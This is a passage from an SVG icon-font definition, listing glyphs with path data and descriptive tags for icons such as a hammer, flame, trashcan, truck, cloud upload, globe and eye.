		c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168c 92.784,0, 168-75.216, 168-168C 392,67.216, 316.784-8, 224-8zM 196,272A28,28 10980 1 0 252,272A28,28 10980 1 0 196,272zM 280,244A28,28 10980 1 0 336,244A28,28 10980 1 0 280,244zM 112,244A28,28 10980 1 0 168,244A28,28 10980 1 0 112,244zM 196,76L 196,48L 252,48L 252,76L 224,216 	z" data-tags="dashboard, control panel" />
<glyph unicode="&#xe0a3;" d="M 441.951-16.641L 201.924,201.872l 11.171,11.199c 9.141,9.167, 14.082,21.013, 14.839,33.079
	c 0.438,0.197, 0.876,0.399, 1.294,0.631l 45.058,28.176c 6.096,7.171, 5.651,18.492-0.999,25.157L 194.922,378.693
	c-6.646,6.665-17.937,7.115-25.088,0.999l-28.103-45.18c-0.23-0.423-0.433-0.86-0.63-1.301
	c-12.032-0.759-23.844-5.712-32.987-14.878l-42.625-42.745c-9.143-9.168-14.080-21.011-14.839-33.077
	c-0.439-0.197-0.877-0.401-1.297-0.633L 4.297,213.702c-6.1-7.171-5.651-18.491, 0.996-25.155l 78.365-78.577
	c 6.647-6.667, 17.936-7.115, 25.091-1l 28.1,45.181c 0.231,0.419, 0.432,0.857, 0.631,1.298c 12.032,0.76, 23.845,5.709, 32.987,14.877
	l 12.378,12.413l 217.928-240.675c 6.316-6.976, 16.056-8.102, 21.645-2.499l 22.031,22.088
	C 450.032-32.743, 448.908-22.976, 441.951-16.641z" data-tags="hammer, rules, justice, legal" />
<glyph unicode="&#xe0a4;" d="M 140.441-64 C 110.583-1.871 126.484,33.728 149.432,67.269 C 174.562,104 181.038,140.361 181.038,140.361 C 181.038,140.361 200.793,114.679 192.891,74.513 C 227.791,113.363 234.377,175.261 229.108,198.966 C 307.996,143.836 341.71,24.467 296.274-64 C 537.937,72.733 356.386,277.325 324.779,300.372 C 335.315,277.326 337.313,238.312 316.029,219.379 C 280,356 190.916,384 190.916,384 C 201.452,313.543 152.724,236.5 105.737,178.931 C 104.086,207.025 102.332,226.412 87.559,253.297 C 84.242,202.26 45.238,160.657 34.676,109.522 C 20.369,40.272 45.393-10.432 140.441-64 Z" data-tags="fire, flame, hot, popular" />
<glyph unicode="&#xe0a5;" d="M 418.377,32.039L 280,262.612L 280,356 l 14,0 c 7.7,0, 14,6.3, 14,14s-6.3,14-14,14L 154,384 c-7.7,0-14-6.3-14-14s 6.3-14, 14-14l 14,0 l0-93.388 
	L 29.624,32.039C-2.069-20.782, 22.4-64, 84-64l 280,0 C 425.6-64, 450.069-20.782, 418.377,32.039z M 105.454,104L 196,254.91L 196,356 l 56,0 
	l0-101.090 L 342.547,104L 105.454,104 z" data-tags="lab, beta, test, experiment" />
<glyph unicode="&#xe0a6;" d="M 376.032,372.388L 374.022,384L 266,384 l 2.888-16.425c 9.776-55.606, 32.516-190.984, 32.516-246.95c0-42.941-34.724-77.875-77.404-77.875
	c-42.681,0-77.403,34.934-77.403,77.875c0,55.968, 22.739,191.345, 32.517,246.95L 182,384L 73.978,384 l-2.010-11.612
	C 60.122,303.953, 40.25,180.244, 40.25,120.625c0-101.803, 82.43-184.625, 183.75-184.625c 101.32,0, 183.75,82.822, 183.75,184.625
	C 407.75,180.241, 387.878,303.952, 376.032,372.388z M 224-36c-85.88,0-155.75,70.262-155.75,156.625c0,35.338, 7.403,94.971, 15.823,151.375l 50.901,0 
	c-8.747-57.415-16.377-117.274-16.377-151.375c0-58.38, 47.284-105.875, 105.403-105.875c 58.12,0, 105.404,47.495, 105.404,105.875
	c0,34.1-7.631,93.959-16.378,151.375l 50.901,0 C 372.348,215.595, 379.75,155.961, 379.75,120.625C 379.75,34.262, 309.88-36, 224-36z" data-tags="magnet, attract" />
<glyph unicode="&#xe0a7;" d="M 84-64L 364-64L 392,244L 56,244 	zM 280,328L 280,384 L 168,384 l0-56 L 28,328 l0-84 l 28,28l 336,0 l 28-28L 420,328 L 280,328 z M 252,328l-56,0 L 196,356 l 56,0 L 252,328 z" data-tags="remove, delete, trashcan, recycle bin, bin, dispose" />
<glyph unicode="&#xe0a8;" d="M 350,328L 98,328 c-23.196,0-42-18.804-42-42l0-14 l 336,0 l0,14 C 392,309.196, 373.196,328, 350,328zM 276.64,356l 6.176-44.188L 165.184,311.812 l 6.175,44.188L 276.64,356  M 280,384L 168,384 c-11.55,0-22.308-9.359-23.906-20.798l-8.187-58.592
	C 134.308,293.171, 142.45,283.812, 154,283.812l 140,0 c 11.55,0, 19.692,9.359, 18.094,20.798l-8.187,58.592C 302.308,374.641, 291.55,384, 280,384L 280,384z
	M 357,244L 91,244 c-15.4,0-26.859-12.548-25.465-27.885l 22.93-252.23C 89.859-51.452, 103.6-64, 119-64l 210,0 
	c 15.4,0, 29.141,12.548, 30.535,27.884l 22.929,252.23C 383.859,231.452, 372.4,244, 357,244z M 168-8l-42,0 l-14,196l 56,0 L 168-8 z M 252-8l-56,0 
	L 196,188 l 56,0 L 252-8 z M 322-8l-42,0 L 280,188 l 56,0 L 322-8z" data-tags="remove, delete, trashcan, recycle bin, bin, dispose" />
<glyph unicode="&#xe0a9;" d="M 420,272L 308,272 L 308,300 c0,15.4-12.6,28-28,28L 168,328 c-15.402,0-28-12.6-28-28l0-28 L 28,272 c-15.4,0-28-12.6-28-28l0-252 
	c0-15.401, 12.598-28, 28-28l 392,0 c 15.4,0, 28,12.599, 28,28L 448,244 C 448,259.4, 435.4,272, 420,272z M 168,299.949
	c 0.015,0.018, 0.032,0.036, 0.050,0.051l 111.9,0 c 0.018-0.015, 0.036-0.033, 0.052-0.051L 280.002,272 L 168,272 L 168,299.949 z M 420,160l-56,0 l0-42 
	c0-7.701-6.3-14-14-14l-28,0 c-7.702,0-14,6.299-14,14l0,42 L 140,160 l0-42 c0-7.701-6.3-14-14-14l-28,0 c-7.701,0-14,6.299-14,14l0,42 L 28,160 l0,28 l 392,0 
	L 420,160 z" data-tags="briefcase, portfolio, suitcase, work, job, employee" />
<glyph unicode="&#xe0aa;" d="M 336,104.014l-79.984,79.985L 448,328.002L 391.996,384l-239.977-96.006L 76.462,363.553C 54.683,385.331, 24.267,390.549, 8.867,375.15
	C-6.532,359.751-1.313,329.333, 20.465,307.556l 75.55-75.549L0-7.997L 55.996-64L 200.016,128.005l 79.986-79.987l0-111.991 L 336-63.974 
	l 27.996,83.995l 83.995,27.998l0,55.997 L 336,104.016 L 336,104.014 z" data-tags="airplane, flight, fly, plane, travel, vacation" />
<glyph unicode="&#xe0ab;" d="M 448,132l-56,112l-84,0 L 308,300 c0,15.4-12.6,28-28,28L 28,328 C 12.6,328,0,315.4,0,300l0-224 l 28-28l 35.51,0 C 58.742,39.761, 56,30.203, 56,20
	c0-30.928, 25.072-56, 56-56s 56,25.072, 56,56c0,10.203-2.742,19.761-7.51,28l 155.021,0 c-4.768-8.239-7.511-17.797-7.511-28
	c0-30.928, 25.072-56, 56-56s 56,25.072, 56,56c0,10.203-2.743,19.761-7.511,28L 448,48 L 448,132 z M 308,132l0,70 l 58.042,0 l 35-70L 308,132 z" data-tags="truck, vehicle, transit, transport" />
<glyph unicode="&#xe0ac;" d="M 308-64l 140,0 L 336,384l-84,0 l 14-112l-84,0 L 196,384l-84,0 L0-64l 140,0 l 14,112l 140,0 L 308-64z M 161,104l 14,112l 98,0 l 14-112L 161,104 z" data-tags="road, asphalt" />
<glyph unicode="&#xe0ad;" d="M 420,300L 420,328L 224,272L 28,328L 28,300L 168,244L 168,132L 112-64L 140-64L 224,132L 308-64L 336-64L 280,132L 280,244 	zM 182,342A42,42 12780 1 0 266,342A42,42 12780 1 0 182,342z" data-tags="accessibility" />
<glyph unicode="&#xe0ae;" d="M 448,188l-44.154,0 C 391.753,265.98, 329.98,327.753, 252,339.846L 252,384 l-56,0 l0-44.154 C 118.020,327.753, 56.247,265.98, 44.154,188L0,188 l0-56 
	l 44.154,0 C 56.247,54.020, 118.020-7.753, 196-19.846L 196-64 l 56,0 l0,44.154 C 329.98-7.753, 391.753,54.020, 403.846,132L 448,132 L 448,188 z M 346.86,188
	L 303.214,188 c-8.437,23.866-27.348,42.778-51.214,51.214l0,43.646 C 299.037,272.145, 336.145,235.036, 346.86,188z M 224,132
	c-15.464,0-28,12.536-28,28c0,15.464, 12.536,28, 28,28c 15.464,0, 28-12.536, 28-28C 252,144.536, 239.464,132, 224,132z M 196,282.86
	l0-43.646 c-23.866-8.436-42.778-27.348-51.214-51.214l-43.646,0 C 111.855,235.036, 148.964,272.145, 196,282.86z M 101.14,132l 43.646,0 
	c 8.436-23.866, 27.348-42.778, 51.214-51.214l0-43.646 C 148.964,47.855, 111.855,84.963, 101.14,132z M 252,37.14L 252,80.786 
	c 23.866,8.437, 42.778,27.348, 51.214,51.214l 43.646,0 C 336.145,84.963, 299.037,47.855, 252,37.14z" data-tags="target, goal, location, spot" />
<glyph unicode="&#xe0af;" d="M 420,384L 224,328L 28,384c0,0-1.969-22.618,0-56l 196-61.289L 420,328C 421.968,361.382, 420,384, 420,384zM 31.583,298.641C 42.077,188.962, 81.235,4.539, 224-64c 142.765,68.539, 181.923,252.962, 192.417,362.641L 224,226.297
		L 31.583,298.641z" data-tags="shield, security, defense, protection, anti virus" />
<glyph unicode="&#xe0b0;" d="M 168,384L0,160L 168,160L 56-64L 448,216L 224,216L 392,384 z" data-tags="lightning, power" />
<glyph unicode="&#xe0b1;" d="M 280,319.868l0-59.482 c 15.84-6.914, 30.406-16.803, 42.995-29.391C 349.438,204.552, 364,169.395, 364,132
		s-14.563-72.552-41.005-98.995C 296.552,6.563, 261.396-8, 224-8s-72.552,14.563-98.995,41.005
		C 98.563,59.448, 84,94.605, 84,132s 14.563,72.552, 41.005,98.995c 12.589,12.589, 27.155,22.478, 42.995,29.392L 168,319.868 
		C 87.041,295.77, 28,220.786, 28,132c0-108.248, 87.753-196, 196-196c 108.248,0, 196,87.752, 196,196
		C 420,220.786, 360.959,295.77, 280,319.868zM 196,384L 252,384L 252,160L 196,160z" data-tags="switch, power, turn off, off, shutdown" />
<glyph unicode="&#xe0b2;" d="M 448,260.406L 408.404,300L 330.202,221.796L 285.796,266.203L 363.999,344.406L 324.405,384L 246.202,305.797L 196,356L 158.101,318.102L 382.102,94.101L 420,131.999L 369.796,182.203 	zM 120.202,56.201c 72.523-72.521, 168.522-15.908, 227.19,33.016L 153.22,283.39
		C 104.296,224.723, 47.682,128.724, 120.202,56.201zM 83.999,75.998L 139.996,20L 56-63.996L 0.002-7.999z" data-tags="power cord, cord, plugin, extension" />
<glyph unicode="&#xe0b3;" d="M 196,36.402L 106.201,140.201L 131.799,165.799L 196,115.598L 316.201,221.799L 341.799,196.201 	zM 363.9,328c 0.034-0.029, 0.071-0.066, 0.1-0.101l0-335.8 c-0.029-0.034-0.066-0.071-0.1-0.1L 84.1-8 
	c-0.035,0.029-0.071,0.066-0.1,0.1L 84,327.9 c 0.029,0.035, 0.066,0.071, 0.101,0.1L 28,328 l0-336 c0-30.8, 25.2-56, 56-56l 280,0 
	c 30.8,0, 56,25.2, 56,56L 420,328 L 363.9,328 z M 280,328L 280,356 c0,15.464-12.536,28-28,28l-56,0 c-15.464,0-28-12.536-28-28l0-28 l-56,0 l0-56 l 224,0 L 336,328 L 280,328 z
	 M 252,328l-56,0 L 196,356 l 56,0 L 252,328 z" data-tags="signup, checkmark, board, agreement, register" />
<glyph unicode="&#xe0b4;" d="M0,384L 112,384L 112,272L0,272zM 168,356L 448,356L 448,300L 168,300zM0,216L 112,216L 112,104L0,104zM 168,188L 448,188L 448,132L 168,132zM0,48L 112,48L 112-64L0-64zM 168,20L 448,20L 448-36L 168-36z" data-tags="list, bullet, ul, todo, menu" />
<glyph unicode="&#xe0b5;" d="M 168,356l 280,0 l0-56 L 168,300 L 168,356 z M 168,188l 280,0 l0-56 L 168,132 L 168,188 z M 168,20l 280,0 l0-56 L 168-36 L 168,20 zM0,328A56,56 2700 1 0 112,328A56,56 2700 1 0 0,328zM0,160A56,56 2700 1 0 112,160A56,56 2700 1 0 0,160zM0-8A56,56 2700 1 0 112-8A56,56 2700 1 0 0-8z" data-tags="list, bullet, ul, todo, menu" />
<glyph unicode="&#xe0b6;" d="M 168,20L 448,20L 448-36L 168-36zM 168,188L 448,188L 448,132L 168,132zM 168,356L 448,356L 448,300L 168,300zM 84,384 L 84,272 L 56,272 L 56,356 L 28,356 L 28,384 ZM 56,153.875 L 56,132 L 112,132 L 112,104 L 28,104 L 28,167.875 L 84,194.125 L 84,216 L 28,216 L 28,244 L 112,244 L 112,180.125 ZM 112,76 L 112-64 L 28-64 L 28-36 L 84-36 L 84-8 L 28-8 L 28,20 L 84,20 L 84,48 L 28,48 L 28,76 Z" data-tags="numbered-list, list, items, nl" />
<glyph unicode="&#xe0b7;" d="M0,216l 308,0 l0-56 L0,160 L0,216 z M0,300l 308,0 l0-56 L0,244 L0,300 z M0,132l 308,0 l0-56 L0,76 L0,132 z M0,48l 308,0 l0-56 L0-8 L0,48 z M 336,132l 56-84l 56,84L 336,132 z M 448,160
	l-56,84l-56-84L 448,160 z" data-tags="menu, options" />
<glyph unicode="&#xe0b8;" d="M 28,300L 420,300L 420,216L 28,216zM 28,188L 420,188L 420,104L 28,104zM 28,76L 420,76L 420-8L 28-8z" data-tags="menu, list, items, lines, options" />
<glyph unicode="&#xe0b9;" d="M 427,48l-7,0 L 420,139 c0,27.018-21.981,49-49,49L 252,188 l0,56 l 7,0 c 11.55,0, 21,9.45, 21,21L 280,335 c0,11.55-9.45,21-21,21l-70,0 
	c-11.55,0-21-9.45-21-21l0-70 c0-11.55, 9.45-21, 21-21l 7,0 l0-56 L 77,188 c-27.018,0-49-21.982-49-49l0-91 l-7,0 c-11.55,0-21-9.45-21-21l0-70 
	c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 l0,84 l 112,0 l0-84 l-7,0 c-11.55,0-21-9.45-21-21l0-70 
	c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 l0,84 l 112,0 l0-84 l-7,0 c-11.55,0-21-9.45-21-21l0-70 
	c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,70 C 448,38.55, 438.55,48, 427,48z M 84-36L 28-36 l0,56 l 56,0 L 84-36 z M 252-36l-56,0 l0,56 l 56,0 L 252-36 z
	 M 196,272L 196,328 l 56,0 l0-56 L 196,272 z M 420-36l-56,0 l0,56 l 56,0 L 420-36 z" data-tags="tree, branches, descendants" />
<glyph unicode="&#xe0ba;" d="M 448,96.325c0,35.914-24.797,66.019-58.186,74.147C 388.396,226.779, 342.364,272, 285.75,272
	c-33.159,0-62.679-15.529-81.749-39.695c-10.693,13.824-27.427,22.733-46.247,22.733c-32.292,0-58.468-26.195-58.468-58.503
	c0-2.816, 0.21-5.582, 0.597-8.292c-4.91,0.885-9.96,1.373-15.124,1.373C 37.946,189.615,0,151.645,0,104.808
	C0,57.969, 37.946,20, 84.757,20l 287.115,0 l0,0.005 C 413.932,20.086, 448,54.223, 448,96.325z" data-tags="cloud, weather" />
<glyph unicode="&#xe0bb;" d="M 389.814,226.474C 388.396,282.779, 342.364,328, 285.75,328c-33.159,0-62.679-15.529-81.749-39.695
	c-10.693,13.824-27.427,22.733-46.247,22.733c-32.292,0-58.468-26.195-58.468-58.503c0-2.816, 0.21-5.582, 0.597-8.292
	c-4.91,0.885-9.96,1.373-15.124,1.373C 37.946,245.615,0,207.645,0,160.809C0,113.969, 37.946,76, 84.757,76l 43.645,0 L 224-19.598
	L 319.598,76l 52.273,0 l0,0.005 C 413.932,76.086, 448,110.223, 448,152.325C 448,188.24, 423.203,218.344, 389.814,226.474z M 224,20l-84,84
	l 56,0 l0,84 l 56,0 l0-84 l 56,0 L 224,20z" data-tags="cloud-download, download, store, save" />
<glyph unicode="&#xe0bc;" d="M 390.367,214.911C 391.437,219.771, 392,224.819, 392,230c0,38.66-31.34,70-70,70c-6.222,0-12.256-0.817-17.995-2.341
	C 293.156,331.5, 261.44,356, 224,356c-38.215,0-70.461-25.522-80.643-60.449C 133.408,298.448, 122.886,300, 112,300C 50.145,300,0,249.856,0,188
	c0-61.857, 50.145-112, 112-112l 56,0 l0-84 l 112,0 l0,84 l 98,0 c 38.66,0, 70,31.339, 70,70C 448,180.44, 423.126,209.071, 390.367,214.911z M 252,104l0-84 
	l-56,0 l0,84 l-70,0 l 98,98l 98-98L 252,104 z" data-tags="cloud-upload, load" />
<glyph unicode="&#xe0bd;" d="M 392,160l-70,0 L 224,62L 126,160L 56,160 L0,48l0-28 l 448,0 l0,28 L 392,160z M0-8l 448,0 l0-28 L0-36 L0-8 z M 252,244L 252,356 l-56,0 l0-112 L 98,244 l 126-126l 126,126
	L 252,244 z" data-tags="download, store, save" />
<glyph unicode="&#xe0be;" d="M0-8L 448-8L 448-36L0-36zM 448,48 L 448,20 L 0,20 L 0,48 L 56,160 L 168,160 L 168,104 L 280,104 L 280,160 L 392,160 ZM 98,244 L 224,370 L 350,244 L 252,244 L 252,132 L 196,132 L 196,244 Z" data-tags="upload, load" />
<glyph unicode="&#xe0bf;" d="M 322,188 L 210,76 L 98,188 L 168,188 L 168,356 L 252,356 L 252,188 ZM 210,76L0,76 l0-112 l 420,0 L 420,76 L 210,76 z M 392,20l-56,0 l0,28 l 56,0 L 392,20 z" data-tags="download, store, save" />
<glyph unicode="&#xe0c0;" d="M 210,76L0,76 l0-112 l 420,0 L 420,76 L 210,76 z M 392,20l-56,0 l0,28 l 56,0 L 392,20 zM 98,244 L 210,356 L 322,244 L 252,244 L 252,104 L 168,104 L 168,244 Z" data-tags="upload, load" />
<glyph unicode="&#xe0c1;" d="M 210,356C 94.020,356,0,261.98,0,146c0-115.98, 94.020-210, 210-210c 115.98,0, 210,94.020, 210,210
	C 420,261.98, 325.98,356, 210,356z M 328.821,76c 3.754,17.699, 6.123,36.484, 6.894,56l 55.758,0 c-1.46-19.336-5.961-38.112-13.422-56
	L 328.821,76 z M 91.179,216c-3.754-17.699-6.123-36.484-6.894-56L 28.529,160 c 1.46,19.335, 5.96,38.112, 13.422,56L 91.179,216 z M 300.141,216
	c 4.206-17.921, 6.737-36.686, 7.56-56L 224,160 l0,56 L 300.141,216 z M 224,244L 224,325.96 c 6.383-1.858, 12.707-4.974, 18.912-9.349
	c 11.63-8.199, 22.755-20.828, 32.174-36.525c 6.511-10.851, 12.141-22.932, 16.842-36.087L 224,243.999 z M 144.914,280.087
	c 9.418,15.697, 20.543,28.327, 32.174,36.525c 6.205,4.375, 12.529,7.492, 18.912,9.349L 196,244 l-67.928,0 
	C 132.773,257.154, 138.404,269.235, 144.914,280.087z M 196,216l0-56 l-83.7,0 c 0.823,19.314, 3.354,38.079, 7.559,56L 196,216 z M 41.951,76
	c-7.462,17.888-11.962,36.664-13.422,56l 55.757,0 c 0.771-19.516, 3.14-38.301, 6.894-56L 41.951,76 z M 112.3,132L 196,132 l0-56 l-76.141,0 
	C 115.654,93.92, 113.123,112.686, 112.3,132z M 196,48l0-81.961 c-6.382,1.858-12.707,4.975-18.912,9.349
	c-11.63,8.199-22.756,20.829-32.174,36.525c-6.511,10.852-12.141,22.933-16.843,36.087L 196,48 z M 275.086,11.913
	c-9.418-15.696-20.544-28.326-32.174-36.525c-6.205-4.374-12.529-7.492-18.912-9.349L 224,48 l 67.929,0 
	C 287.227,34.846, 281.597,22.765, 275.086,11.913z M 224,76l0,56 l 83.7,0 c-0.823-19.314-3.354-38.080-7.56-56L 224,76 z M 335.715,160
	c-0.771,19.516-3.14,38.301-6.894,56l 49.229,0 c 7.462-17.888, 11.963-36.665, 13.422-56L 335.715,160 z M 363.413,244l-41.956,0 
	c-8.154,25.708-19.415,48.254-32.951,66.25c 18.61-8.899, 35.463-20.832, 50.187-35.556C 348.091,265.297, 356.352,255.033, 363.413,244
	z M 81.307,274.693c 14.725,14.725, 31.579,26.658, 50.187,35.556c-13.537-17.996-24.796-40.541-32.951-66.25L 56.588,244 
	C 63.648,255.033, 71.91,265.297, 81.307,274.693z M 56.588,48l 41.955,0 c 8.155-25.708, 19.415-48.254, 32.952-66.251
	c-18.61,8.899-35.463,20.832-50.187,35.557C 71.91,26.703, 63.648,36.967, 56.588,48z M 338.693,17.307
	c-14.724-14.725-31.579-26.659-50.187-35.557c 13.537,17.996, 24.797,40.542, 32.951,66.251l 41.956,0 
	C 356.352,36.967, 348.091,26.703, 338.693,17.307z" data-tags="globe, web, internet, network, sphere" />
<glyph unicode="&#xe0c2;" d="M 382.392,318.392 C 424.7,276.084 448,219.832 448,159.999 C 448,100.167 424.7,43.916 382.392,1.608 C 340.084-40.7 283.832-64 224-64 C 164.168-64 107.916-40.7 65.608,1.608 C 23.3,43.916 0,100.167 0,159.999 C 0,219.832 23.299,276.084 65.608,318.392 C 107.916,360.7 164.168,384 224,384 C 283.832,384 340.084,360.7 382.392,318.392 Z M 362.593,21.406 C 390.181,48.995 408.524,83.36 416.087,120.746 C 410.192,112.067 404.554,108.848 401.062,128.273 C 397.465,159.944 368.377,139.713 350.086,150.962 C 330.834,137.987 287.564,176.189 294.918,133.102 C 306.264,113.667 356.171,159.111 331.295,117.99 C 315.425,89.283 273.264,25.707 278.749-7.248 C 279.441-55.261 229.69-17.26 212.549-1.333 C 201.018,30.569 208.619,86.33 178.469,101.954 C 145.743,103.375 117.654,106.349 104.971,142.935 C 97.338,169.11 113.093,208.076 141.143,214.092 C 182.202,239.889 196.869,183.881 235.376,182.839 C 247.332,195.349 279.92,199.327 282.622,213.355 C 257.357,217.813 314.677,234.599 280.204,244.147 C 261.186,241.91 248.932,224.427 259.043,209.603 C 222.189,201.010 221.008,262.936 185.582,243.403 C 184.682,212.52 127.735,233.391 165.879,239.653 C 178.985,245.379 144.503,261.972 163.132,258.957 C 172.282,259.454 203.089,270.25 194.752,277.508 C 211.907,288.157 226.322,252.006 243.113,278.332 C 255.235,298.573 238.029,302.31 222.834,292.050 C 214.268,301.642 237.959,322.358 258.855,331.31 C 265.819,334.294 272.471,335.92 277.556,335.459 C 288.082,323.3 307.547,321.194 308.565,336.921 C 282.498,349.405 253.757,356 224,356 C 181.29,356 140.669,342.427 107.053,317.329 C 116.087,313.191 121.216,308.038 112.512,301.45 C 105.75,281.301 78.313,254.254 54.226,258.083 C 41.72,236.516 33.484,212.756 29.963,187.852 C 50.137,181.178 54.788,167.968 50.453,163.549 C 40.174,154.586 33.856,141.88 30.601,127.971 C 37.168,87.792 56.052,50.762 85.407,21.406 C 122.427-15.613 171.646-36 224-36 C 276.353-36 325.574-15.613 362.593,21.406 Z" data-tags="earth, globe, web, internet, sphere, planet" />
<glyph unicode="&#xe0c3;" d="M 417.111,351.344l-1.762,1.768c-41.19,41.184-108.585,41.184-149.768,0L 170.159,257.678
		c-41.184-41.183-41.184-108.577,0-149.761l 1.761-1.761c 3.426-3.433, 7.064-6.529, 10.822-9.388l 34.934,34.934
		c-4.070,2.404-7.93,5.281-11.426,8.776l-1.768,1.768c-22.362,22.355-22.362,58.744,0,81.108L 299.913,318.779
		c 22.363,22.364, 58.745,22.364, 81.106,0l 1.768-1.76c 22.356-22.363, 22.356-58.753,0-81.108l-43.175-43.175
		c 7.495-18.51, 11.046-38.238, 10.735-57.919l 66.764,66.764C 458.296,242.765, 458.296,310.159, 417.111,351.344zM 276.081,213.841c-3.426,3.426-7.064,6.528-10.822,9.38l-34.934-34.926c 4.071-2.405, 7.93-5.282, 11.426-8.777l 1.768-1.768
		c 22.363-22.363, 22.363-58.744,0-81.107L 148.088,1.209c-22.364-22.357-58.746-22.357-81.107,0l-1.768,1.768
		c-22.355,22.365-22.355,58.746,0,81.107l 43.176,43.175c-7.496,18.509-11.045,38.238-10.735,57.919l-66.763-66.762
		c-41.184-41.183-41.184-108.578,0-149.767l 1.761-1.764c 41.191-41.181, 108.584-41.181, 149.768,0l 95.423,95.427
		c 41.184,41.183, 41.184,108.585,0,149.768L 276.081,213.841z" data-tags="link, chain, url, uri, anchor" />
<glyph unicode="&#xe0c4;" d="M 364,308.616 C 397.454,308.616 427.478,326.826 448,340.6 L 448,79.986 C 427.478,66.211 397.454,48 364,48 C 330.546,48 300.522,57.918 280,71.693 C 259.478,85.466 229.454,95.384 196,95.384 C 162.546,95.384 132.523,78.358 112,64.586 L 112,325.2 C 132.523,338.974 162.546,356 196,356 C 229.454,356 259.478,346.083 280,332.309 C 300.522,318.534 330.546,308.616 364,308.616 ZM 56,384 C 71.464,384 84,371.464 84,356 L 84-64 L 28-64 L 28,356 C 28,371.464 40.536,384 56,384 Z" data-tags="flag, report, mark" />
<glyph unicode="&#xe0c5;" d="M 305.301,240.916l-28.416,28.403L 134.781,127.245c-23.544-23.534-23.544-61.709,0-85.244
	c 23.539-23.534, 61.714-23.534, 85.257,0l 170.525,170.497c 39.25,39.227, 39.25,102.84,0,142.068
	c-39.229,39.245-102.861,39.245-142.092,0L 69.418,175.565l 0.015-0.014c-0.127-0.133-0.268-0.252-0.383-0.37
	c-54.732-54.73-54.732-143.437,0-198.146c 54.711-54.712, 143.442-54.712, 198.182,0c 0.12,0.12, 0.226,0.248, 0.359,0.383l 0.014-0.015
	l 122.208,122.19l-28.431,28.402L 239.181,5.818l-0.007,0 c-0.13-0.117-0.247-0.249-0.37-0.369
	c-38.97-38.963-102.366-38.963-141.346,0c-38.965,38.956-38.965,102.341,0,141.303c 0.133,0.133, 0.264,0.255, 0.389,0.37l-0.020,0.026
	l 179.060,179.010c 23.499,23.51, 61.751,23.51, 85.263,0c 23.499-23.509, 23.499-61.752,0-85.243L 191.624,70.422
	c-7.847-7.841-20.586-7.841-28.425,0c-7.829,7.825-7.829,20.576,0,28.402L 305.301,240.916z" data-tags="attachment, paperclip" />
<glyph unicode="&#xe0c6;" d="M 224,300C 126.298,300, 41.614,243.107,0,160c 41.614-83.107, 126.298-140, 224-140c 97.7,0, 182.384,56.893, 224,140
	C 406.387,243.107, 321.7,300, 224,300z M 334.447,225.755c 26.321-16.789, 48.625-39.276, 65.377-65.754
	c-16.753-26.478-39.057-48.966-65.378-65.755C 301.374,73.15, 263.182,62, 224,62c-39.183,0-77.374,11.15-110.447,32.245
	C 87.233,111.033, 64.929,133.521, 48.176,160c 16.753,26.479, 39.057,48.967, 65.377,65.754c 1.714,1.094, 3.446,2.153, 5.188,3.194
	C 114.384,216.992, 112,204.089, 112,190.625c0-61.855, 50.145-112, 112-112s 112,50.145, 112,112c0,13.464-2.384,26.367-6.741,38.324
	C 331,227.909, 332.732,226.848, 334.447,225.755z M 224,204.625c0-23.196-18.804-42-42-42s-42,18.804-42,42s 18.804,42, 42,42
	S 224,227.821, 224,204.625z" data-tags="eye, views, vision, visit" />
<glyph unicode="&#xe0c7;" d="M 367.203,254.318 C 401.173,230.242 429.053,197.84 448,160 C 406.384,76.893 321.7,20 224,20 C 196.627,20 170.279,24.468 145.61,32.724 L 179.715,66.83 C 194.178,63.636 209.016,62 224,62 C 263.182,62 301.374,73.15 334.445,94.245 C 360.766,111.035 383.071,133.523 399.823,160.001 C 383.613,185.623 362.192,207.492 336.976,224.092 L 367.203,254.318 ZM 224,78.625 C 214.058,78.625 204.421,79.927 195.244,82.359 L 332.263,219.377 C 334.696,210.201 336,200.567 336,190.625 C 336,128.769 285.856,78.625 224,78.625 ZM 420,384l-23.51,0 L 300.409,287.92C 276.314,295.762, 250.642,300, 224,300C 126.298,300, 41.614,243.107,0,160
		c 18.663-37.271, 45.993-69.26, 79.272-93.217L0-12.49L0-36 l 23.51,0 L 420,360.49L 420,384 z M 182,246.625c 21.019,0, 38.433-15.441, 41.515-35.599
		l-47.917-47.917C 155.441,166.192, 140,183.606, 140,204.625C 140,227.821, 158.804,246.625, 182,246.625z M 48.176,160
		c 16.753,26.479, 39.057,48.967, 65.377,65.754c 1.714,1.094, 3.446,2.153, 5.188,3.194C 114.384,216.992, 112,204.089, 112,190.625
		c0-25.604, 8.597-49.196, 23.055-68.058l-25.616-25.616C 84.908,113.419, 64.047,134.914, 48.176,160z" data-tags="eye-blocked, views, vision, visit, banned, blocked, forbidden, private" />
<glyph unicode="&#xe0c8;" d="M 224,244C 132.401,244, 51.081,200.007,0,132c 51.081-68.008, 132.401-112, 224-112c 91.599,0, 172.919,43.992, 224,112
	C 396.919,200.007, 315.599,244, 224,244z M 196,188c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 180.536,188, 196,188z
	 M 338.457,75.433c-17.346-8.863-35.723-15.69-54.62-20.29C 264.373,50.403, 244.242,48, 224,48
	c-20.241,0-40.373,2.403-59.836,7.142c-18.897,4.602-37.274,11.428-54.62,20.29c-27.571,14.088-52.597,33.429-73.343,56.568
	c 20.745,23.139, 45.771,42.481, 73.343,56.568c 14.147,7.228, 28.981,13.101, 44.223,17.517C 145.066,192.854, 140,177.020, 140,160
	c0-46.393, 37.608-84, 84-84c 46.392,0, 84,37.607, 84,84c0,17.020-5.067,32.854-13.766,46.086c 15.242-4.417, 30.075-10.29, 44.223-17.518
	c 27.572-14.087, 52.595-33.428, 73.342-56.568C 391.052,108.862, 366.028,89.519, 338.457,75.433z M 376.652,277.372
	C 329.087,301.677, 277.728,314, 224,314c-53.728,0-105.087-12.323-152.652-36.628C 45.636,264.233, 21.591,247.664,0,228.338l0-47.778 
	c 24.21,25.623, 52.804,47.142, 84.085,63.127C 127.669,265.958, 174.743,277.25, 224,277.25s 96.331-11.292, 139.914-33.563
	c 31.282-15.985, 59.875-37.504, 84.086-63.127L 448,228.338 C 426.409,247.664, 402.365,264.233, 376.652,277.372z" data-tags="eye, views, vision, visit" />
